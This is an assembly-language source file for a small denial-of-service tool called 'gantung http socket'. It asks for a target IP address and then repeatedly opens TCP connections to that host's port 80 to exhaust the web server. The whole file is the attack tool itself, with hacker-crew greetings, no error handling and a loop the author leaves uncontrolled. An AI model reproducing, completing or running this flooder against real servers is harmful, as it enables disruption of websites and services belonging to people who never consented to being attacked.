;gs.asm ;gantung http socket ;programmer: ev1lut10n ;compile: nasm -f elf gs.asm ;gcc -o gs gs.o ;warning !!!! no error handling here, use with care !!! ;thanks to all devilzc0de crews and members (flyf666,wenkhairu,whitehat,gunslinger,peneter,and all my friends) ;thanks to all flashcrew and members global main %define PF_INET 2 %define AF_INET PF_INET %define SOCK_STREAM 1 %define INADDR_ANY 0 %define PORT 80 extern printf extern scanf extern socket extern connect extern htons extern recv extern send extern close extern inet_aton section .data akhir db "-------------finished----------",13,10 pjg_akhir equ $ - akhir banner db ".::gantung socket::.",13,10 pjg_banner equ $ - banner tunggu db "..Boom..",13,10 pjg_tunggu equ $ - tunggu programmer db " programmer:ev1lut10n ",13,10 pjg_programmer equ $ - programmer fok db "-------------------------------------",13,10 pjg_fok equ $ - fok kon_gagal db "[-] wtf dude ? failed at connect() ",13,10 warning db "warning !!! do not use hostname !!! use target ip address instead !!!",13,10 pjg_warning equ $ - warning ask_target db "enter target ip address : ",0 target db "%s", 0 ask_loop db "enter target ip address : ",0 fd dd 0 struc sockaddr_in .sin_family resw 1 .sin_port resw 1 .sin_addr resd 1 resb 8 endstruc struktur istruc sockaddr_in section .bss targetx: resw 50 ; beware my heap overflow section .text main: ;start stack op push ebp mov ebp,esp mov eax,10000 mov edx,pjg_fok mov ecx,fok call (makro_writeln) mov edx,pjg_banner mov ecx,banner call (makro_writeln) mov edx,pjg_programmer mov ecx,programmer call (makro_writeln) mov edx,pjg_fok mov ecx,fok call (makro_writeln) push dword ask_target call printf push dword targetx push dword target call scanf while: cmp eax,0 je finish push dword 0 push dword SOCK_STREAM push dword AF_INET call socket mov [fd], eax mov word [struktur+sockaddr_in.sin_family], AF_INET push dword (struktur + sockaddr_in.sin_addr) push dword targetx call inet_aton push word PORT call htons mov word [struktur+sockaddr_in.sin_port], ax push dword sockaddr_in_size push dword struktur push dword [fd] call connect mov edx,pjg_tunggu mov ecx,tunggu call (makro_writeln) inc eax jmp while finish: mov edx,pjg_akhir mov ecx,akhir call (makro_writeln) mov esp,ebp pop ebp ret makro_writeln: mov ebx,1 mov eax,4 int 80h ret